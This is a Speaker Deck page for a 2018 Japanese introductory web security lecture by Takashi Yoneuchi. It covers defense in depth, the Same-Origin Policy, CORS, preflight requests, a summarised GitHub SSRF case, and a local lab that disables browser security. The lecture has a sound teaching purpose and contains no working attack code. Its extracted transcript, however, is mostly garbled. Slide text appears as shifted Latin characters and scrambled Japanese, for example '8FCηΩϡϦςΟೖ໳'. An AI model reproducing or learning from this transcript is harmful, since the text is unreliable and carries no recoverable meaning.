Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web セキュリティ入門 / Introduction to Web Security

Takashi Yoneuchi
November 17, 2018
24
7.7k

Web セキュリティ入門 / Introduction to Web Security

セキュリティ・ミニキャンプ in 岡山 2018 で使用されたコンテンツです。
誤りがあればぜひツッコミをください!
Twitter: @lmt_swallow, en: @y0n3uchy

演習の殆どはローカル向けのものだったので, 現在はアクセスできません
e.g. ホストが websec.example になっているもの

ただし XSS Challenge に関しては, 以下の URL からお試しいただけます:
https://xss.shift-js.info

Takashi Yoneuchi

November 17, 2018
Tweet

More Decks by Takashi Yoneuchi

See All by Takashi Yoneuchi
プロダクトセキュリティの「共通言語」を作る ― 技術教育と Policy as Code を例に / "Language" for Product Security
lmt_swallow
0
660
SREを以てセキュリティエンジニアリングを制す / SRE, Security Engineering, and You
lmt_swallow
5
2.7k
Eliminating ReDoS with Ruby 3.2
lmt_swallow
0
210
ソフトウェアサプライチェーンのこれから / Securing Software Supply Chain
lmt_swallow
1
210
AWSのセキュリティ管理をPolicy as Codeで加速する ― 最高のCSPM体験を目指して / Unleashing Policy as Code on AWS CSPM
lmt_swallow
3
2.1k
実践 SpiceDB - クライドネイティブ時代をサバイブできるパーミッション管理の実装を目指して / Practical SpiceDB
lmt_swallow
0
1.6k
Developer-First Security という考え方 / Introduction to Developer-First Security
lmt_swallow
6
9.1k
ちいさな Web ブラウザを作ってみよう（オンライン講義版） / Build Your Own Web Browser
lmt_swallow
18
11k
Go をセキュアに書き進めるための
「ガードレール」を整備しよう / Let's Build Security Guardrails For Your Go Programs!
lmt_swallow
4
5.4k

Featured

See All Featured
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
159
15k
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
soudai
169
50k
Fireside Chat
paigeccino
34
3k
Bootstrapping a Software Product
garrettdimon
PRO
305
110k
Thoughts on Productivity
jonyablonski
67
4.3k
How to Think Like a Performance Engineer
csswizardry
20
1.1k
Code Review Best Practice
trishagee
64
17k
Designing Experiences People Love
moore
138
23k
Why You Should Never Use an ORM
jnunemaker
PRO
54
9.1k
Keith and Marios Guide to Fast Websites
keithpitt
409
22k
Building Flexible Design Systems
yeseniaperezcruz
327
38k
Statistics for Hackers
jakevdp
796
220k

Transcript

  1. W 5BLBTIJ:POFVDIJ
 !MNU@TXBMMPX !ZOVDIZ
 IUUQTTIJGUKTJOGP 8FCηΩϡϦςΟೖ໳
 ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ

  2. © 2018 shift-js.info All Rights Reserved. Takashi Yoneuchi ‣ !MNU@TXBMMPX

    !ZOVDIZ ‣ 6OEFSHSBEVBUFBU6OJWPG5PLZP ‣ 4UB⒎BU4&$$0/#FHJOOFST ‣ 4UB⒎BU4FDVSJUZ$BNQ ‣ 4FFIUUQTTIJGUKTJOGP  

  3. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 0VUMJOF ‣ %FGFOTFJO%FQUIଟ૚๷ޚͱ͍͏ߟ͑ํ ‣

    ଟ૚๷ޚͱݺ͹ΕΔߟ͑ํʹֶ͍ͭͯͼ·͢ ‣ #PVOEBSZ8FCϒϥ΢βதͷڥք ‣ 8FCϒϥ΢βʹ͓͚Δڥքͷྫͱͯ͠0SJHJOΛֶͼ 
 0SJHJOʹؔ࿈ͨ͠๷ޚػߏʹ͍ͭͯͷϋϯζΦϯΛߦ͍·͢ ‣ $SPTT4JUF4DSJQUJOH944ͷݪཧ ࣮ફ ରࡦ ‣ 944Λڥքͷ؍఺͔Β੔ཧ͠ ࣮ફԋशΛߦ͍·͢ ‣ 'VUVSF8FCʹ͓͚ΔηΩϡϦςΟڥքͷ՝୊ͱະདྷ ‣ ࠷ۙͷ8FCʹ͓͚ΔηΩϡϦςΟͷ࿩Λͬ͘͟Γ੔ཧ͠·͢ 3

  4. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ (PBMT
 ຊߨٛͰ໨ࢦ͢ͱ͜Ζ ‣ ֶͼ͍ͨ͜ͱ

    ‣ 8FC4FDVSJUZCZ%FTJHOઃܭ্ͷෆඋΛݟൈ͘ྗ ‣ جૅతͳ944ʹؔ͢Δ஌ࣝ ‣ ࠷ۙͷ8FCηΩϡϦςΟ ͱΓΘ͚ϒϥ΢βͷηΩϡϦςΟػߏʹؔ͢Δ࿩ ‣ ߨٛऴྃޙ͍͚ͯͨͩͨ͠Βخ͍͜͠ͱ ‣ 8FCηΩϡϦςΟͷ࿩Λ๻ͱҰॹʹ௥͍͔͚ͯ΄͍͠ ‣ 8FCηΩϡϦςΟ͕޷͖ͱ͍͏ֶੜ͕ݮͬͨΑ͏ͳؾ͕͍ͯ͠Δ ‣ 8FCηΩϡϦςΟΛ޷͖ʹͳͬͯ͘ΕͨͳΒ ͱͯ΋خ͍͠ 4

  5. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $"65*0/
 ஫ҙࣄ߲ ‣ ྙཧ؍Λେ੾ʹ͍ͯͩ͘͠͞

    ‣ ࠓճԋशͰߦ͏8FCαΠτ΁ͷ߈ܸɾଞऀ΁ͷ߈ܸ͸ ඞͣ͜ͷ ؀ڥͷதͰͷΈʹཹΊ ֎෦ѼʹߦΘͳ͍Ͱ͍ͩ͘͞  ‣ ϩʔΧϧͰͷ࣮ݧʹͱͲ·Βͣ ֎෦ʹ߈ܸΛߦ͏ͷ͸ ๏཯ʹ఍৮͑͠·͢ 5

  6. %FGFOTFJO%FQUI ଟ૚๷ޚͱ͍͏ߟ͑ํ

  7. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ଟ૚๷ޚ %FGFOTFJO%FQUI 
 ෳ਺ͷ૚ΛॏͶΔ͜ͱͰ΋ͨΒ͞ΕΔ΋ͷ

    7 l %FGFOTFJOEFQUIJTUIFDPODFQUPGQSPUFDUJOHB DPNQVUFSOFUXPSLXJUIBTFSJFTPGEFGFOTJWF NFDIBOJTNTTVDIUIBUJGPOFNFDIBOJTNGBJMT  BOPUIFSXJMMBMSFBEZCFJOQMBDFUPUIXBSUBO BUUBDL
 4"/4*OTUJUVUF 4"/4*OTUJUVUF*OGP4FD3FBEJOH3PPN 
  IUUQTXXXTBOTPSHSFBEJOHSPPNXIJUFQBQFSTCBTJDTEFGFOTFJOEFQUI

  8. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ਎ۙͳڥք
 Ұൠࣾձʹ͓͚Δྫ ‣ ෺ཧతͳڥք͕͋Ε͹

    ৘ใͷ΍ΓऔΓ͸ଟগ੍ݶͰ͖Δ ‣ ݤ͕ͳ͚Ε͹ೖΕͳ͍ ‣ ೖΔ͜ͱ͑͢͞Ε͹ग़ΒΕΔ͜ͱ͕ଟ͍ ‣ ෦԰୯ҐͰೖୀࣨݖݶ؅ཧ΋େ੾ ౰ͨΓલ  ‣ ήετ༻ͷΧʔυͰࣾ௕ࣨʹೖΕͯ͸͍͚ͳ͍ 8

  9. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ෺ཧతڥք
 ػثࣗମ͕ͭͳ͕͍ͬͯͳ͍ ‣ ͦ΋ͦ΋ػثࣗମ͕

    ௚઀తʹ΋ؒ઀తʹ΋ ͭͳ͕͍ͬͯͳ͍ͷ Ͱ͋Ε͹ ͦͷؒ͸΍ΓͱΓͰ͖ͳ͍ 9

  10. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࿦ཧతڥք
 ωοτϫʔΫͷྫ ‣ ෺ཧతʹ͸ͭͳ͕͍ͬͯͯ΋

    ࿦ཧతʹ ਖ਼͘͠ ੾Γ཭͞Ε͍ͯΕ ͹ ͦͷؒ͸΍ΓͱΓͰ͖ͳ͍ ྫ7-"/ 10

  11. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࿦ཧతڥք
 04಺෦ͷྫ ‣ 04ʹ͸ύʔϛογϣϯ؅ཧͷ࢓૊Έ΍

    ͦͷଞͷ࿦ཧతڥք FH4&-JOVY ͕ଘࡏ͍ͯ͠Δ 11

  12. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ωοτϫʔΫ֎ɾ಺ͷڥք
 *%4 *14 %.;

    ‣ ಺෦ FHࣾ಺ ωοτϫʔΫ ͱΠϯλʔωοτͷؒʹڥք Λઃ͚Δ ‣ %.;Ͱެ։ྖҬΛ੾Γ෼͚ͨΓ  ‣ *%4 *OUSVTJPO%FUFDUJPO 4ZTUFN Ͱҟৗ௨৴Λଊ͑ͨΓ  ‣ *14 *OUSVTJPO1SFWFOUJPO 4ZTUFN Ͱҟৗ௨৴ΛϒϩοΫ ͨ͠Γʜ 12

  13. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ߈ܸऀͷ໨ઢ͔Β
 ޿ٛͷ ଟ૚๷ޚΛͲ͏ಥഁ͢Δ͔ ‣

    ௚઀ຊ࣭తͳ৘ใʹ౸ୡͰ͖ͳ͍৔߹͕ଟ͍ ‣ ͋Δ੬ऑͳՕॴΛى఺ʹ  ‣ ྫ੬ऑͳϢʔβʔͷೝূ৘ใΛى఺ʹ͢Δ ‣ ྫ ෺ཧతPSιϑτ΢ΣΞతʹ ੬ऑͳ୺຤Λى఺ʹ͢Δ ‣ ྫωοτϫʔΫ֎෦ʹެ։͞Ε͍ͯΔՕॴΛى఺ʹ͢Δ ‣ গͣͭ͠ΞΫηεͰ͖ΔൣғΛ޿͛Δ ‣ ྫϢʔβʔͷ׆ಈϩάΛ؍࡯ͯ͠ ͦͷ୺຤ɾೝূ৘ใ͔ΒΞΫηεͰ͖Δ ৘ใΛ୳ࡧ -"/಺ͷଞͷ੬ऑͳ୺຤Λ୳ࡧ ‣ ྫ443' 4FSWFS4JEF3FRVFTU'PSHFSZ ΍ 42-*OKFDUJPOͳͲͷ੬ऑੑ Λ࢖ͬͯ ωοτϫʔΫ্΍γεςϜ಺Λ୳ࡧ 13

  14. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣄྫ(JU)VC
 3FQPSUCZ0SBOHF5TBJ 14 

    1SPDPUPM4NVHHMJOH 8FCIPPLૹ৴ػೳ ೚ҙ63-΁ͷϦΫΤετൃߦ ϩʔΧϧͷผαʔϏεΛൃݟ ‣ )*5$0/ͷ0SBOHF5TBJ͞Μ ͕ൃݟͨ͠(JU)VCͰͷ3$&
 4FFIUUQTXXXCMBDLIBUDPNEPDTVTUIVSTEBZ VT5TBJ"/FX&SB0G443'&YQMPJUJOH63-1BSTFS*O 5SFOEJOH1SPHSBNNJOH-BOHVBHFTQEG  ‣ 8FCIPPLͷૹ৴ઌʹ 
 IUUQ ͸ ͱ౳Ձ ͕ઃఆͰ͖ͨ ‣ MPDBMIPTUΛ͜ΕΛ༻͍ͯ୳ࡧ Ͱ͖Δ ૄ௨νΣοΫ͕Մೳ  ‣ ݁Ռ൪Ͱ(SBQIJUF͕ ಈ͍͍ͯΔͷΛൃݟ

  15. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣄྫ(JU)VC
 3FQPSUCZ0SBOHF5TBJ 15 ϩʔΧϧͷผαʔϏεΛൃݟ

    ͦ͜Ͱ·ͨ೚ҙϦΫΤετൃߦ NFNDBDIFEʹ೚ҙσʔλૠೖ .BSTIBMͱ૊Έ߹Θͤͯ3$& ‣ MPDBMIPTUͷ(SBQIJUFʹର͠ ͯ$3-'*OKFDUJPOΛࢼΈ Α Γࣗ༝ʹϦΫΤετΛૹ৴͢Δ ͜ͱ͕Մೳʹͳͬͨ ‣ ݁Ռ8FCIPPLͷ݁Ռͱͯ͠ ೚ҙ஋Λ%#ʹྲྀ͠ࠐΊͨ ‣ ͜ΕΛ.BSTIBM σγϦΞϥΠ ζػߏ ͱ૊Έ߹Θͤ 3$&΁ ‣ ৄ͘͠͸0SBOHF͞Μͷࢿྉ Λࢀরͷ͜ͱ

  16. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣄྫ࢈૯ݚ ‣ ࢈૯ݚͷ৘ใγεςϜʹର͢Δෆਖ਼ͳΞΫηεʹؔ͢ΔใࠂΑΓҾ༻ ஫

    
 IUUQTXXXBJTUHPKQQEGBJTU@KUPQJDTUPUPBJTUQEG 16

  17. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ
 Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ ࣍ͷࢿྉதͷ(JU)VCʹ͓͚ΔࣄྫΛݩʹ

    ͲͷΑ͏ͳ๷ޚϨΠϠ ͕͋Ε͹ ͋Δ͍͸ͲͷΑ͏ͳߏ੒Ͱ͋Ε͹ ҆શͰ͔͋ͬͨΛߟ ͑ͯΈ·͠ΐ͏ ‣ "/FX&SBPG443'&YQMPJUJOH63-1BSTFSJO5SFOEJOH 1SPHSBNNJOH-BOHVBHFTCZ0SBOHF5TBJ ‣ IUUQTXXXCMBDLIBUDPNEPDTVTUIVSTEBZVT5TBJ" /FX&SB0G443'&YQMPJUJOH63-1BSTFS*O5SFOEJOH 1SPHSBNNJOH-BOHVBHFTQEG ‣ 443'Λى఺ʹ%FGFOTFJO%FQUIΛ߈ུ͍ͯ͘͠࿩ 17

  18. #PVOEBSZ 8FCϒϥ΢βதͷڥք

  19. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ΋͠΋ͷ࿩
 ϒϥ΢βͷதʹڥք͕ͳ͔ͬͨΒ ‣ ΋͠ϒϥ΢βʹͳΜͷ੍໿΋ͳ͚Ε͹

    ߈ܸऀ͸ࣗ਎ͷ᠘ϖʔδʹ ༠ಋ͢Δ͚ͩͰ ৘ใ ޙड़ Λൈ͖ग़ͤΔ ‣ FWJMDPN͔ΒFYBNQMFDPNͷϖʔδ಺༰ΛಡΉ ‣ FWJMDPN͔ΒFYBNQMFDPNͷMPDBM4UPSBHFΛಡΉ 19 http://evil.com ޱ࠲൪߸, ࢒ߴ, ॅॴ, ... ࣗ༝ͳ৘ใͷ΍ΓͱΓ http://example.com

  20. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ຊདྷ͋Δ΂͖࢟
 ϒϥ΢βͷதͷڥք͸Ͳ͏Ҿ͔ΕΔ΂͖͔ 20 ‣

    $SPTT0SJHJOͰͷ੍໿͕ͳ͚Ε͹ ߈ܸऀ͸ࣗ਎ͷ᠘ϖʔδʹ༠ ಋ͢Δ͚ͩͰ৘ใΛൈ͚Δ ‣ FWJMDPN͔ΒFYBNQMFDPNͷϖʔδ಺༰ΛಡΉ ‣ FWJMDPN͔ΒFYBNQMFDPNͷMPDBM4UPSBHFΛಡΉ evil.com ޱ࠲൪߸, ࢒ߴ, ॅॴ, ... example.com ͜͜ͷڥքΛҾ͖͍ͨ! ͜͜ʹڥք͕͋Δ΂͖ ࣗ༝ͳ৘ใͷ΍ΓͱΓ

  21. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ԿΛ࢖ͬͯڥքΛҾ͔͘
 ϒϥ΢βͷதͷڥք͸Ͳ͏Ҿ͔ΕΔ΂͖͔ 21 ‣

    ߟ͑ͯΈ·͠ΐ͏ ‣ ڥք͸Ͳ͏Ҿ͘΂͖  ‣ ཧ۶తʹ͸৘ใ୯Ґ͝ͱʹҾ͖͍ͨ ‣ ͨͩݫ͘͠Ҿ͖͗͢ΔͱෆศʹͳΓ͗͢Δ ‣ Կ͕࢖͑ͦ͏͔  ‣ υϝΠϯ໊ ͦͷ͏ͪͲ͜Λ࢖͏͔͸໰୊  ‣ ໊લղܾͨ͠ޙͷ*1 ‣ ϙʔτ ‣ εΩʔϜ ‣ FUD ݕࡧΤϯδϯ Web ϝʔϥʔ จॻΤσΟλ

  22. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 0SJHJO 3'$5IF8FC0SJHJO$PODFQU ‣ ͋Δ63*ʹ͍ͭͯ

    ࣍ͷUVQMFΛ0SJHJOͱఆٛ͢Δɻ VSJTDIFNF VSJIPTU VSJQPSU  ‣ VSJTDIFNFεΩʔϜ FHIUUQ IUUQT   ‣ VSJIPTUϗετ FHFYBNQMFDPN   ‣ VSJQPSUϙʔτ FH    ‣ লུ࣌͸VSJTDIFNFʹରԠͨ͠σϑΥϧτϙʔτ͕ࢦఆ͞ΕΔɻ 22 IUUQFYBNQMFDPNTPNFQBUI

  23. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 4BNF0SJHJO1PMJDZ
 0SJHJOΛݩʹͯ͠कΔ ‣ 4BNF0SJHJO1PMJDZͱ͸

    ͋Δ0SJHJOΛ࣋ͭϖʔδɾεΫϦϓ τͳͲ͔ΒΞΫηεՄೳͳϦιʔεΛ ࣍ͷΑ͏ʹ੍ݶ͢Δ੍໿ ‣ ಉ͡0SJHJO 4BNF0SJHJO Λ࣋ͭϦιʔεʹ͸ΞΫηεͰ͖Δ ‣ ҟͳΔ0SJHJO $SPTT0SJHJO Λ࣋ͭϦιʔεʹΞΫηεͰ͖ͳ͍ ‣ ϦιʔεΛ0SJHJO͝ͱʹִ཭͢Δ 0SJHJO͕ڥք  ‣ ڥքΛ·͙ͨ $SPTT0SJHJOͳϦιʔεࢀরΛߦ͏ ͨΊʹ͸ ΞΫηε͞ ΕΔଆͷϦιʔε͔Βͷ໌ࣔతͳڐՄ͕ඞཁ $034"QQFOEJYࢀর 23

  24. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 401ʹΑΔ੍໿
 ໛ࣜਤͰ֬ೝ͢Δ 24 IUUQBFYBNQMFDPN

    QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} 4BNF0SJHJOͰͷ௨৴
 جຊతʹSFTQPOTFͷಡΈग़͠ʹ ͸੍໿͕ͳ͍

  25. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 401ʹΑΔ੍໿
 ໛ࣜਤͰ֬ೝ͢Δ 25 IUUQBFYBNQMFDPN

    QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} $SPTT0SJHJOͰͷ௨৴
 ී௨ͷ ޙड़ ϦΫΤετ͸Մೳ Ϩεϙϯε͸௨ৗಡΊͳ͍

  26. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 401͕͘ΕΔ΋ͷ 4BNF0SJHJO1PMJDZʹΑΓಘΒΕΔ݁Ռ ‣ 4BNF0SJHJO1PMJDZʹΑΓ

    ౪Έग़͍ͨ͠σʔλͷ͋Δ0SJHJO ͷ֎͔Β͸  ݪଇ ͦΕʹΞΫηεͰ͖ͳ͍ 26 Origin A த਎ʹ͸
 ৮ΕΒΕͳ͍ Origin B

  27. 2VFTUJPO
 4BNF0SJHJO 
 $SPTT0SJHJO

  28. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 2VFTUJPO4BNF0SJHJO ࣍ͷ63*͔ͨͪΒ4BNF0SJHJOͳ૊Λબ΅͏ ‣ IUUQTXXXFYBNQMFDPN

    ‣ IUUQXXXFYBNQMFDPN ‣ IUUQUFTUFYBNQMFDPN ‣ IUUQTXXXFYBNQMFDPNJOEFYIUNM ‣ IUUQTXXXFYBNQMFDPN ‣ IUUQTUFTUFYBNQMFDPN 28

  29. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 2VFTUJPO4BNF0SJHJO ࣍ͷ63*͔ͨͪΒ4BNF0SJHJOͳ૊Λબ΅͏ ‣ IUUQTXXXFYBNQMFDPN

    ‣ IUUQXXXFYBNQMFDPN ‣ IUUQUFTUFYBNQMFDPN ‣ IUUQTXXXFYBNQMFDPNJOEFYIUNM ‣ IUUQTXXXFYBNQMFDPN ‣ IUUQTUFTUFYBNQMFDPN 29

  30. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ /PUFTPO4BNF0SJHJO ͍͔ͭ͘ͷ஫ҙ఺ ‣ ͍͔ͭ͘஫ҙΛཁ͢ΔεΩʔϜ͕͋Δ

    ‣ FHEBUB pMF BCPVU ʜ ‣ ੍໿ͷൣғͳͲ ͸͖ͬΓ͠ͳ͍఺ ‣ 0SJHJOΛܧঝͯ͠UVQMFͳ0SJHJOΛ࣋ͭͷ͔ ‣ ͋Δ͍͸VOJRVFJEFOUJpFS TFF3'$ Λ࣋ͭͷ͔ ‣ ҎԼͷจॻΛಡΉ͜ͱΛקΊ·͢ ‣ ॏཁʂ·ͣ͸ʮΦϦδϯʯΛཧղ͠Α͏  
 IUUQXXXBUNBSLJUDPKQBJUBSUJDMFTOFXT@IUNM ‣ 3'$5IF8FC0SJHJO$PODFQU
 IUUQTUPPMTJFUGPSHIUNMSGD 30

  31. &YFSDJTF
 0SJHJOؔ࿈ͷηΩϡϦςΟ
 ػߏΛ࣮ײ͠Α͏

  32. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ &YFSDJTF401
 4BNF0SJHJO1PMJDZʹΑΔ੍ݶΛମײ͠Α͏ 32 ࣍ʹΞΫηεͯ͠ମײ͠Α͏

    ԋशωοτϫʔΫ্Ͱ  IUUQXFCTFDFYBNQMFTPQ ‣ ·ͣ͸401ΛΦϑʹͨ͠ঢ়ଶͰಈ͔ͯ͠Έ·͠ΐ͏ ‣ EJTBCMFXFCTFDVSJUZVTFSEBUBEJSΛΦϓγϣϯͱ෇͚ ͯىಈ͢Δͱ401౳͕ΦϑʹͳΔ ‣ .BDPQFOOB(PPHMFa$ISPNFBSHTEJTBCMFXFCTFDVSJUZVTFSEBUBEJS ‣ 8JOEPXT8JOEPXT 3ˠDISPNFFYFEJTBCMFXFCTFDVSJUZVTFSEBUBEJS ‣ ͦͷޙ 401ΛΦϯʹͨ͠ঢ়ଶͰಈ͔ͯ͠Έ·͠ΐ͏

  33. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ %FWFMPQFS5PPMT
 ศར ‣ ࠓ೔͸(PPHMF$ISPNF

    ͋Δ͍͸$ISPNJVN ʹ෇ଐͷ %FWFMPQFS5PPMTΛ࢖͏ͱศརͳ͜ͱ͕ଟ͍ ‣ ϖʔδ্ͰӈΫϦοΫˠʮௐࠪʯ PS*OTQFDU ΛΫϦοΫͯ͠ىಈ ‣ %FWFMPQFS5PPMT͸࣍ͷΑ͏ͳγϣʔτΧοτΩʔͰىಈ͢Δ͜ͱ΋Ͱ͖Δ ‣ 8JOEPXTͷ৔߹' ͋Δ͍͸$USM 4IJGU *Ͱىಈ
 .BDͷ৔߹$NE 0QU *Ͱىಈ 33

  34. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 34 8JOEPXT' $USM 4IJGU

    *
 .BD$NE 0QU *Ͱىಈ

  35. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 35 /FUXPSLλϒͰ)551 ௨৴ͷ༷ࢠ͕೷͚Δ

  36. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ڍಈΛ֬ೝ͢Δ
 401͕EJTBCMFEͳͱ͖ ‣ ͋Δ0SJHJO


    IUUQXFCTFDFYBNQMF ͔Βผͷ0SJHJO
 IUUQXFCTFDFYBNQMF ͷίϯςϯπΛಡΊ͍ͯΔ ‣ ྫ͑͹IUUQFWJMDPN͔Β IUUQHPPHMFDPNͷίϯς ϯπΛಡΊΔ ͱ͍͏͜ͱʜ 36

  37. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ڍಈΛ֬ೝ͢Δ
 401͕FOBCMFEͳͱ͖ ‣ ͱҧͬͯBMFSU͕ग़ͳ͍

    ‣ %FWFMPQFS5PPMTͷ$POTPMFλϒΛ։͘ͱΤϥʔ͕ग़͍ͯΔ 37

  38. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $034
 $SPTT0SJHJO3FTPVSDF4IBSJOH ‣ $SPTT0SJHJOͳϦιʔεࢀরΛڐՄ͢ΔͨΊͷ࢓૊Έ

    ‣ 401ʹΑΓ جຊతʹ͸ͦͷΑ͏ͳϦιʔεࢀর͸ϒϩοΫ͞Ε͍ͯΔ ‣ ओʹ0SJHJOϔομ "DDFTT$POUSPM"MMPX0SJHJOϔομ͕ओ໾ ‣ Ұ෦ͷϦΫΤετͰ͸࣍ͷΑ͏ͳϔομ͕ొ৔͢Δ ‣ "DDFTT$POUSPM3FRVFTU.FUIPE ‣ "DDFTT$POUSPM3FRVFTU)FBEFST ‣ "DDFTT$POUSPM"MMPX0SJHJO ‣ "DDFTT$POUSPM"MMPX.FUIPET ‣ "DDFTT$POUSPM"MMPX)FBEFST ‣ "DDFTT$POUSPM&YQPTF)FBEFST ‣ "DDFTT$POUSPM.BY"HF 38

  39. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ঢ়گઃఆ
 CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖ 39 IUUQBFYBNQMFDPN

    QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} http://evil.example.com

  40. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ୯७ͳϦΫΤετ࣌ͷڍಈ
 CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖ 40 IUUQBFYBNQMFDPN

    QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} http://evil.example.com (&5KTPO)551
 0SJHJOIUUQBFYBNQMFDPN 


  41. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ Ϩεϙϯε࣌ͷڍಈ
 CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖ 41 IUUQBFYBNQMFDPN

    QOH KTPO KTPO IUUQCFYBNQMFDPN {...} {...} http://evil.example.com )5510,
 "DDFTT$POUSPM"MMPX0SJHJO IUUQBFYBNQMFDPN
 
 ˠϨεϙϯε͕ಡΈग़ͤΔ


  42. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετ
 1SFqJHIU3FRVFTU 42 ‣

    ࣍ͷΑ͏ͳ௨ৗͷϦΫΤετΒ͘͠ͳ͍ϦΫΤετΛ͢Δ৔߹  Ѽઌ0SJHJOʹରͯ͠ ͦͷڐՄΛऔͨΊͷϦΫΤετ͕ඈͿ ‣ ΧελϜϔομʔΛ͚͍ͭͨ৔߹ ‣ Α͋͘Δ΋ͷҎ֎ͷ$POUFOU5ZQFΛૹग़͢Δ৔߹ ‣ (&5 1045 )&"%Ҏ֎ͷϦΫΤετΛ͢Δ৔߹ ‣ ͜ͷϦΫΤετΛϓϦϑϥΠτϦΫΤετͱݺͿ ‣ 015*0/4ϝιουΛ࢖ͬͯϦΫΤετ͕ߦΘΕΔ

  43. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετͷྫ
 1SFqJHIU3FRVFTU 43 ‣

    015*0/4ϝιουʹΑΔϓϦϑϥΠτϦΫΤετ͕ൃߦ͞ΕΔ ‣ 93&2)&"%&3ͱ͍͏ϔομ෇͖ͷ1045ϦΫΤετΛൃߦͯ͠Α͍ ͔ͷ໰͍߹Θ͕ͤߦΘΕ͍ͯΔ 015*0/4KTPO)551
 0SJHJOIUUQBFYBNQMFDPN "DDFTT$POUSPM3FRVFTU.FUIPE1045
 "DDFTT$POUSPM3FRVFTU)FBEFST93&2)&"%&3 BFYBNQMFDPN CFYBNQMFDPN

  44. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετͷྫ 3FTQPOTFUP1SFqJHIU3FRVFTU 44 BFYBNQMFDPN
